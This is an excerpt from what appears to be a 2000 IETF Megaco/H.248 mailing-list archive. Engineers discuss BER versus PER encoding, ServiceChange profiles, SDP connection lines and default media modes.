        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: ASN.1 BER</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>BER was indeed chosen because of its =
simplicity.&nbsp; The use of PER for H.323 has been considered a major =
barrier to its widespread development, because of the scarcity of tools =
to work with it.&nbsp; We should definitely develop some illustrations =
of encoding that everyone can agree on and perhaps add them as another =
Appendix to H.248 (and as an Informational RFC).</FONT></P>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: Shiv Kumar [<A =
HREF=3D"mailto:svkumar@HSS.HNS.COM">mailto:svkumar@HSS.HNS.COM</A>]</FON=
T>
<BR><FONT SIZE=3D2>&gt; Sent: Wednesday, September 06, 2000 4:57 =
AM</FONT>
<BR><FONT SIZE=3D2>&gt; To: MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: ASN.1 BER</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Hi,</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; I wanted some clarifications regarding the =
binary encoding.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Is there a&nbsp; possibility of the binary =
encoding method to change</FONT>
<BR><FONT SIZE=3D2>&gt; from ASN.1 BER&nbsp; to&nbsp; PER ?</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; How was BER decided upon in the first =
place.</FONT>
<BR><FONT SIZE=3D2>&gt; Was it because it was simple, albeit costly in =
terms of size ?</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Also, can we have some sample dump of BER =
encoded messages ?</FONT>
<BR><FONT SIZE=3D2>&gt; I have managed to get the encoded output for a =
sample binary</FONT>
<BR><FONT SIZE=3D2>&gt; encoded message. My decoder has no problem in =
parsing it.</FONT>
<BR><FONT SIZE=3D2>&gt; But how do I assure myself that this is the =
encoded output that</FONT>
<BR><FONT SIZE=3D2>&gt; everybody is looking for.&nbsp; :-)</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Regards</FONT>
<BR><FONT SIZE=3D2>&gt; Shiv Kumar</FONT>
<BR><FONT SIZE=3D2>&gt; Hughes Software Systems</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C01804.B2F99210--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 09:23:38 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA11524
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 09:23:36 -0400 (EDT)
Received: from standards (47.234.32.16:2575) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB909CC@standards.nortelnetworks.com>; Wed, 6 Sep 2000 9:08:23 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 19553 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 09:08:23 -0400
Received: from world.std.com (world-f.std.com) by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB909CB@standards.nortelnetworks.com>; Wed, 6 Sep 2000 9:08:23
          -0400
Received: (from mpd@localhost) by world.std.com (8.9.3/8.9.3) id JAA03992; Wed,
          6 Sep 2000 09:18:30 -0400 (EDT)
Message-ID:  <200009061318.JAA03992@world.std.com>
Date:         Wed, 6 Sep 2000 09:18:30 -0400
Reply-To: Michael P DiGioia <mpd@WORLD.STD.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Michael P DiGioia <mpd@WORLD.STD.COM>
Subject:      Re: Profiles in Service Change
X-To:         "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Brian,

> > So does that mean that nobody can make an MG which supports more than
> > one profile? :-)

>One way to get around the limitation is to try to get
>service using the most "featurefull" profile.  If you fail
>to find an MGC that can serve that profile, try again with
>a different profile.

I agree. I believe the point is that any one MG can support one or more
profile, however, once the most featurefull profile is found to be accepted
by an MGC, use it.

What we build into our IpPhone MG is our choice. I don't believe this limits
us in any way. If so, how?

/mpd


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 09:28:06 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA11627
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 09:28:02 -0400 (EDT)
Received: from standards (47.234.32.16:2575) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90A03@standards.nortelnetworks.com>; Wed, 6 Sep 2000 9:11:56 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 19621 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 09:11:56 -0400
Received: from qhars002.nortel.com (47.101.112.102:36458) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB90A02@standards.nortelnetworks.com>; Wed, 6 Sep 2000 9:11:55
          -0400
Received: from zrtps06s.us.nortel.com by qhars002.nortel.com; Wed, 6 Sep 2000
          14:23:25 +0100
Received: from zrtpd004.us.nortel.com by zrtps06s.us.nortel.com; Wed, 6 Sep
          2000 09:22:22 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <SK4PGC6A>; Wed, 6 Sep 2000 09:22:22 -0400
X-Mailer: Internet Mail Service (5.5.2652.35)
X-Orig: <taylor@americasm01.nt.com>
Message-ID:  <28560036253BD41191A10000F8BCBD11480D21@zcard00g.ca.nortel.com>
Date:         Wed, 6 Sep 2000 09:22:12 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Is Media required on the Physical Termination/Default value f
              or M ODE
X-To:         "Mackey, Michael" <Michael.Mackey@MARCONI.COM>,
              mmusic@informatik.uni-bremen.de
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I'm cross-posting this note to MMUSIC.  The question is what the "c=" line
of a session description contains when the originator is describing what
they are prepared to send, so they don't yet know the remote address.

> -----Original Message-----
> From: Mackey, Michael [mailto:Michael.Mackey@MARCONI.COM]
> Sent: Wednesday, September 06, 2000 5:11 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Is Media required on the Physical
> Termination/Default value
> f or M ODE
>
>
> My understanding of the SDP ABNF is that the c= line is
> mandatory at either
> the session level or the media level and it strictly
> specifies it to be
>
>    connection-field =    ["c=" nettype space addrtype space
>                          connection-address CRLF]
>
> which doesn't allow an empty line after the c= ....
>
> Michael Mackey,
> Marconi Communications,
> Tel: +353 1 6638407
> - www.marconi.com <http://www.marconi.com>  -
>
>
> > -----Original Message-----
> > From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
> > Sent: Tuesday, September 05, 2000 7:40 PM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Is Media required on the Physical
> > Termination/Default value
> > f or M ODE
> >
> >
> > Why not send a blank "c=" line?
> >
> > -----Original Message-----
> > From: Mackey, Michael [mailto:Michael.Mackey@MARCONI.COM]
> > Sent: Tuesday, September 05, 2000 12:23 PM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Is Media required on the Physical
> > Termination/Default value f
> > or M ODE
> >
> >
> > I wonder if someone could help me out ... I have another
> > issue with standard
> > SDP. If you are using Megaco in conjuction with H.323 you
> > will probably want
> > an MGC to ask the MG to reserve resources after receiving a Terminal
> > Capability message. When specifing a remote descriptor you
> > are currently
> > required either to give the remote MG's IP address or use the CHOOSE
> > character, but you don't receive the remote MGs IP address
> > until later when
> > Open Logical Channel messages are exchanged and you're
> > certainly not asking
> > it to choose the remote address. Is there a need for a not specified
> > character (such as '-' ) similar to whats being proposed for ATM ?
> >
> >
> > Michael Mackey,
> > Marconi Communications,
> > Tel: +353 1 6638407
> > - www.marconi.com <http://www.marconi.com/>  -
> >
...


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 09:45:53 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA12168
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 09:45:52 -0400 (EDT)
Received: from standards (47.234.32.16:2575) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90A42@standards.nortelnetworks.com>; Wed, 6 Sep 2000 9:31:07 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 19704 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 09:31:07 -0400
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB90A41@standards.nortelnetworks.com>; Wed, 6 Sep 2000 9:31:07
          -0400
Received: from cisco.com (ssh.cisco.com [171.69.10.34]) by mailman.cisco.com
          (8.9.3/8.9.1) with ESMTP id GAA13031; Wed, 6 Sep 2000 06:44:08 -0700
          (PDT)
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <28560036253BD41191A10000F8BCBD11480D1D@zcard00g.ca.nortel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B64B32.C2FCFE41@cisco.com>
Date:         Wed, 6 Sep 2000 09:48:34 -0400
Reply-To: Flemming Andreasen <fandreas@CISCO.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Flemming Andreasen <fandreas@CISCO.COM>
Organization: Cisco Systems
Subject:      Re: Megaco - benifits
X-To:         Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hmm, first of all this paper contains several misunderstandings about MGCP,
and secondly it's not quite up to date as far as Megaco is concerned.

If you are interested in another and more recent MGCP/Megaco comparisons, you
may want to look at pulver.com. I gave a presentation on this subject in the
VON 2000 Developer's Conference. If you are interested in decomposed gateways
in general, Pulver has loads of presentations available on this subject as
well.

-- Flemming



Tom-PT Taylor wrote:

> Hughes Software Systems put out a good paper almost a year ago.  (Thread
> "White paper on MGCP vs MEGACO - Final version", vbajaj@HSS.HNS.COM, 2 Nov
> 1999.  It is available in the Megaco list archives.
>
> > -----Original Message-----
> > From: Paddu Melanahalli [mailto:pmelanah@CISCO.COM]
> > Sent: Tuesday, September 05, 2000 6:52 PM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Megaco - benifits
> >
> >
> > Hi,
> >    Does any body have some presentation/general purpose
> >    material which will explain the benifits of using
> >    H.248? Or point me some web sites....
> >
> > Thanks in advance
> > Paddu
> > --
> >                 Enthusiasm
> > You can do anything... if you have Enthusiasm.
> > Enthusiasm is the yeast makes your hopes rise to the stars.
> > Enthusiasm is the sparkle in you eyes.
> > Enthusiasm   with it there is accomplishment,
> >                        without it there are only alibis
> >                                      --- Henry Ford's motto
> > ________________________________________________________
> >
> > C i s c o  S y s t e m s.  Paddu Melanahalli, NSSU
> > Voice:(408)525 5236 Fax: (408)527 1568  Pgr:(408)788 8275
> >  Email: pmelanah@cisco.com
> > ________________________________________________________
> >

--
Flemming Andreasen
Cisco Systems


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 09:50:45 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA12268
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 09:50:41 -0400 (EDT)
Received: from standards (47.234.32.16:2575) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90A5C@standards.nortelnetworks.com>; Wed, 6 Sep 2000 9:35:08 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 19700 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 09:35:07 -0400
Received: from dnsmx1rrc.telcordia.com by standards.nortelnetworks.com (LSMTP
          for Windows NT v1.1b) with SMTP id
          <0.FFB90A3E@standards.nortelnetworks.com>; Wed, 6 Sep 2000 9:25:07
          -0400
Received: from notes949.cc.telcordia.com (notes949a.cc.telcordia.com
          [128.96.246.8]) by dnsmx1rrc.telcordia.com (8.9.3/8.9.2) with SMTP id
          JAA07447; Wed, 6 Sep 2000 09:24:13 -0400 (EDT)
Received: by notes949.cc.telcordia.com(Lotus SMTP MTA v4.6.4  (830.2
          3-23-1999))  id 85256952.00499FAC ; Wed, 6 Sep 2000 09:24:10 -0400
X-Lotus-FromDomain: TELCORDIA
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Message-ID:  <85256952.00499DD9.00@notes949.cc.telcordia.com>
Date:         Wed, 6 Sep 2000 09:22:37 -0400
Reply-To: "Petros N. Mouchtaris" <pmouchta@TELCORDIA.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Petros N. Mouchtaris" <pmouchta@TELCORDIA.COM>
Subject:      Re: Profiles in Service Change
X-To:         "Rosen, Brian" <Brian.Rosen@marconi.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

The MSF profiles are now out on the MSF Web site (www.msforum.org).
The documents are:
http:// www.msforum.org/MSF-MEDIA-001.00-DRAFT_IA
http:// www.msforum.org/MSF-MEDIA-002.00-DRAFT_IA

I have been planning to send out a more formal announcement.
Do you think we should also do internet drafts to make them easily accessible to
people?

Petros





"Rosen, Brian" <Brian.Rosen@marconi.com> on 09/06/2000 09:10:44 AM

Please respond to "Rosen, Brian" <Brian.Rosen@marconi.com>

To:   MEGACO@standards.nortelnetworks.com
cc:    (bcc: Petros N. Mouchtaris/Telcordia)
Subject:  Re: Profiles in Service Change




We can also look at profiles being written, to see how
they come out.  We might want to have some text somewhere
with advice, rather than rules.

We have had some fun with the MSF profiles; since there are
no rules, we have asked ourselves, several times, "well,
what should be in here?  What should not?"

I think they are coming out very well.  They will be public
very soon (in draft form), for others to look at.  The IPphone
profile is another to use.  The PacketCable stuff can also
be mined for ideas.

Brian

> -----Original Message-----
> From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
> Sent: Wednesday, September 06, 2000 8:54 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Profiles in Service Change
>
>
> This conversation is bringing out a number of requirements
> for an effective
> profile system.  When we sum them up perhaps we can review
> the situation and
> see whether the protocol needs further development or whether
> we can make do
> with the tools at hand.
>
> > -----Original Message-----
> > From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM]
> > Sent: Wednesday, September 06, 2000 12:30 AM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Profiles in Service Change
> >
> >
> > G'Day Peter,
> >
> > I agree that the Profile mechanism isn't really well
> defined. I do see
> > that these will need to be defined shortly. With different
> > standardisation bodies working (MSF, ITU SG11, DSL Forum, 3gPP etc.
> > etc.) on different profiles and packages, multiple profiles
> > are going to
> > be a reality very shortly.
> >
> > Please see specific comments below [CHG]
> >
> > Cheers, Christian
> >
> > Peter Blatherwick wrote:
> > >
> > > Formal rules for what a profile can and cannot specify are not
> > > currently defined.  At one point, I proposed some rules, but these
> > > turned out to be contentious, were not agreed, and have not been
> > > followed up. This issue was deferred to later version of the
> > > Megaco/H.248 Protocol in the Washington meeting last year,
> > if I recall
> > > correctly, and left at the 1 profile rule we currently have
> > in place.
> > > Without these formal rules, it is difficult to know what
> > the effect of
> > > allowing multiple profiles would be.  Therefore, I think
> its better
> > > *for now* to stick with a single profile.  I don't consider it an
> > > error, but actually an intentional decision.
> > >
> > > Several side effects of allowing multiple profiles would be
> > difficult
> > > to sort out.  For example, profiles can (and I believe in
> many cases
> > > absolutely must) specify which optional aspects are used by the MG
> > > side, for example making specific selection on encoding and
> > > transport.  Profiles may also define specific termination
> > > organization, naming conventions etc.
> > [CHG] Yes I agree. I think the MSF IAs and BICC profile start to do
> > this.
> >
> > > If an MG supports 2 or more
> > > profiles, and these do not each make the same selections or
> > > assumptions, how to sort out which are actually in use?
> >
> > [CHG] I would have thought that a profile is tied to an
> > application. ie.
> > if the MGC is using BICC then it would pick the BICC
> profile for that
> > part of the call. If the network side was BICC and the access was
> > Ipphone then it would pick the IP phone Profile to handle
> the access.
> >
> > > This quickly
> > > becomes a deep rat hole, and could add enormously to the
> > complexity of
> > > both MG and MGC applications, while not helping interoperability
> > > (maybe even hurting it).  This defeats the intent of
> profiles -- to
> > > improve interoperability and provide simplifying assumptions for
> > > specific applications of the Protocol.
> > [CHG] I still believe it does provide this. It still specifies for a
> > particular application what options and packages you use. I don't
> > believe equipment is limited to one application.
> >
> > >
> > > Since profiles essentially define particular applications of the
> > > Megaco/H.248 Protocol, what the current rule is really
> > saying is an MG
> > > supports 1 application if it uses a profile to declare this to its
> > > controlling MGC.  Of course, multiple virtual MGs could
> still be in
> > > operation on the same physical device, or profiles could
> be defined
> > > which capture more than one application, so there are ways around
> > > this.
> > [CHG] I'd be interested in exploring this a little further.
> > Can you give
> > more details?
> >
> > >
> > > Looking forward a bit, to definition of the profile rules, one
> > > possible approach would be to provide a formalism for
> profiles to be
> > > extended and/or versioned, similar to the
> sub-classing-like approach
> > > used by package definition now.  This would mean we could build
> > > profiles on each other without having contentions over optional
> > > elements.
> > [CHG] Again I agree that as soon as we start developing
> > profiles that we
> > should consider future changes. However with the limits of
> the profile
> > mechanism as it is now should we just give up on signalling
> > the profile
> > and just rely on the documentation of the functionality in
> the profile
> > to provide interoperability. Just use packages as Brian alluded to.
> >
> > >
> > > I remain quite interested in this topic, and feel this
> > would be a good
> > > thing to include in any extension of the Megaco WG's charter for
> > > consideration in version 2 (once some version 1 implementation
> > > experience is gained of course).
> > >
> > > For implementor's guide, I suggest some explanatory text on what
> > > profiles are intended to do would be in order, but don't think the
> > > implementor's guide should modify the Protocol.
> > [CHG] Yes we could put some text in the implementor's notes section.
> >
> > >
> > > -- Peter Blatherwick
> > >
> > > -----Original Message-----
> > > From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM]
> > > Sent: Monday, September 04, 2000 20:58
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Profiles in Service Change
> > >
> > > G'Day all,
> > >
> > > I discussion on another email exploder (MSF) it was
> pointed out that
> > > the
> > > ServiceChange only supports one profile to be returned. I
> would have
> > > thought that a MG could support more than one profile.
> > >
> > > Do people consider this to be an error to be updated in the
> > > implementor's guide?
> > >
> > > If so the following changes probably would be necessary.
> > >
> > > 7.2.8 ServiceChange
> > > The optional ServiceChangeProfile parameter specifies the
> > Profile[/s]
> > > (if any) of the protocol supported.  The
> > ServiceChangeProfile includes
> > >
> > > the version of the profile supported.
> > >
> > > A.2
> > > ServiceChangeParm ::= SEQUENCE
> > > {
> > >         serviceChangeMethod     ServiceChangeMethod,
> > >         serviceChangeAddress    ServiceChangeAddress OPTIONAL,
> > >         serviceChangeVersion    INTEGER(0..99) OPTIONAL,
> > > >>      serviceChangeProfile    SEQUENCE OF ServiceChangeProfile
> > > OPTIONAL,
> > >         serviceChangeReason     Value,
> > >         serviceChangeDelay      INTEGER(0..4294967295) OPTIONAL,
> > >                                     -- 32 bit unsigned integer
> > >         serviceChangeMgcId      MId OPTIONAL,
> > >         timeStamp               TimeNotation OPTIONAL,
> > >         nonStandardData         NonStandardData OPTIONAL,
> > >         ...
> > > }
> > >
> > > ServiceChangeResParm ::= SEQUENCE
> > > {
> > >         serviceChangeMgcId      MId OPTIONAL,
> > >         serviceChangeAddress    ServiceChangeAddress OPTIONAL,
> > >         serviceChangeVersion    INTEGER(0..99) OPTIONAL,
> > > >>      serviceChangeProfile    SEQUENCE OF ServiceChangeProfile
> > > OPTIONAL,
> > >         ...
> > > }
> > >
> > > B.2
> > > >>      serviceChangeProfile = ProfileToken EQUAL NAME
> SLASH Version
> > >
> > > Cheers, Christian
> >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 09:50:49 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA12275
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 09:50:45 -0400 (EDT)
Received: from standards (47.234.32.16:2575) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90A64@standards.nortelnetworks.com>; Wed, 6 Sep 2000 9:35:14 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 19746 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 09:35:14 -0400
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB90A63@standards.nortelnetworks.com>; Wed, 6 Sep 2000 9:35:13
          -0400
Received: from cisco.com (ssh.cisco.com [171.69.10.34]) by mailman.cisco.com
          (8.9.3/8.9.1) with ESMTP id GAA13945; Wed, 6 Sep 2000 06:48:10 -0700
          (PDT)
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <9523A991F7AED311A8B900508B6701F4378824@dl-msgusr-01.eu.fore.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B64C24.9C269070@cisco.com>
Date:         Wed, 6 Sep 2000 09:52:37 -0400
Reply-To: Flemming Andreasen <fandreas@CISCO.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Flemming Andreasen <fandreas@CISCO.COM>
Organization: Cisco Systems
Subject:      Re: Is Media required on the Physical Termination/Default value
              for M ODE
X-To:         "Mackey, Michael" <Michael.Mackey@MARCONI.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Right - SIP uses the "0.0.0.0" address trick for this.

-- Flemming

"Mackey, Michael" wrote:

> My understanding of the SDP ABNF is that the c= line is mandatory at either
> the session level or the media level and it strictly specifies it to be
>
>    connection-field =    ["c=" nettype space addrtype space
>                          connection-address CRLF]
>
> which doesn't allow an empty line after the c= ....
>
> Michael Mackey,
> Marconi Communications,
> Tel: +353 1 6638407
> - www.marconi.com <http://www.marconi.com>  -
>
> > -----Original Message-----
> > From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
> > Sent: Tuesday, September 05, 2000 7:40 PM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Is Media required on the Physical
> > Termination/Default value
> > f or M ODE
> >
> >
> > Why not send a blank "c=" line?
> >
> > -----Original Message-----
> > From: Mackey, Michael [mailto:Michael.Mackey@MARCONI.COM]
> > Sent: Tuesday, September 05, 2000 12:23 PM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Is Media required on the Physical
> > Termination/Default value f
> > or M ODE
> >
> >
> > I wonder if someone could help me out ... I have another
> > issue with standard
> > SDP. If you are using Megaco in conjuction with H.323 you
> > will probably want
> > an MGC to ask the MG to reserve resources after receiving a Terminal
> > Capability message. When specifing a remote descriptor you
> > are currently
> > required either to give the remote MG's IP address or use the CHOOSE
> > character, but you don't receive the remote MGs IP address
> > until later when
> > Open Logical Channel messages are exchanged and you're
> > certainly not asking
> > it to choose the remote address. Is there a need for a not specified
> > character (such as '-' ) similar to whats being proposed for ATM ?
> >
> >
> > Michael Mackey,
> > Marconi Communications,
> > Tel: +353 1 6638407
> > - www.marconi.com <http://www.marconi.com/>  -
> >
> > -----Original Message-----
> > From: Rosen, Brian
> > Sent: Tuesday, August 29, 2000 10:07 PM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Is Media required on the Physical
> > Termination/Default value f
> > or M ODE
> >
> >
> > That's an acceptable default, which almost forces the MGC to set it to
> > something
> > else in order to get media to flow.
> >
> > Brian
> >
> > -----Original Message-----
> > From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
> > Sent: Tuesday, August 29, 2000 4:57 PM
> > To: Rosen, Brian; megaco@standards.nortelnetworks.com
> > Subject: RE: Is Media required on the Physical
> > Termination/Default value f
> > or M ODE
> >
> >
> >
> > Sorry, Brian, the natural default is "inactive".  It does seem that we
> > failed to specify the defaults in 7.1.7, even though section
> > 6.2.4 promises
> > that we would.
> >
> > > -----Original Message-----
> > > From: Rosen, Brian [ mailto:Brian.Rosen@MARCONI.COM
> > <mailto:Brian.Rosen@MARCONI.COM> ]
> > > Sent: Tuesday, August 29, 2000 4:30 PM
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Is Media required on the Physical
> > > Termination/Default value
> > > f or M ODE
> > >
> > >
> > > Okay, so what would you expect to happen if you audited media of
> > > the physical termination.  Even if there was no default, it should
> > > be one of the legal states.
> > >
> > > Now, suppose it's in an acceptable state, should you have to send
> > > a media descriptor?
> > >
> > > What the folks who implemented the MG requiring the media descriptor
> > > say is that "there is no mode, you haven't set it".  I can't deal
> > > with that, because audit has to return a value.  So it has to be
> > > something, and the MGC should be able to leave it, right?
> > >
> > > Now, I said I think MGCs should always send media!
> > >
> > > Brian
> > >
> > >
> > >
> > > > -----Original Message-----
> > > > From: Michael Thomas [ mailto:mat@cisco.com
> <mailto:mat@cisco.com> ]
> > > Sent: Tuesday, August 29, 2000 4:25 PM
> > > To: Rosen, Brian
> > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Is Media required on the Physical
> > > Termination/Default value for
> > > M ODE
> > >
> > >
> > >
> > > My general take has been that the MGC shouldn't
> > > assume much about the MG. If it wants the MG to
> > > do something, it should tell it. If it doesn't
> > > know the MG's state, it should audit it.
> > > Therefore, I think I disagree with the spec
> > > requiring some set of semantics for underspecified
> > > commands. What's the gain?
> > >
> > >               Mike
> > >
> > > Rosen, Brian writes:
> > >  > Another issue from the event:
> > >  >
> > >  > Is it REQUIRED that the MGC send a media descriptor to a PHYSICAL
> > >  > termination in order to get media to flow?
> > >  >
> > >  > There are two questions actually:
> > >  > 1) Is there a default state of MODE (text is silent)
> > >  > 2) Should the MG demand a media descriptor before allowing
> > > media flow?
> > >  >
> > >  > I believe:
> > >  > 1) The default for MODE is SendRecieve
> > >  > 2) MGCs should always send a media descriptor, with at
> > least a MODE
> > >  > setting
> > >  > 3) MGs should not depend on 2)
> > >  >
> > >  > Brian
> > >  >
> > >
> >

--
Flemming Andreasen
Cisco Systems


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 09:50:50 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA12288
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 09:50:49 -0400 (EDT)
Received: from standards (47.234.32.16:2575) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90A80@standards.nortelnetworks.com>; Wed, 6 Sep 2000 9:37:26 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 19779 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 09:37:26 -0400
Received: from hd2.dot.net.in (hd2.vsnl.net.in) by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB90A70@standards.nortelnetworks.com>; Wed, 6 Sep 2000 9:37:25
          -0400
Received: from hyd.chiplogic.com ([203.197.20.150]) by hd2.dot.net.in
          (8.8.8/8.8.8) with ESMTP id TAA02688 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Wed, 6 Sep 2000 19:15:03 +0530
          (IST)
Received: from chiplogic.com ([192.168.2.61]) by hyd.chiplogic.com
          (8.8.7/8.8.7) with ESMTP id TAA19102 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Wed, 6 Sep 2000 19:23:15 +0530
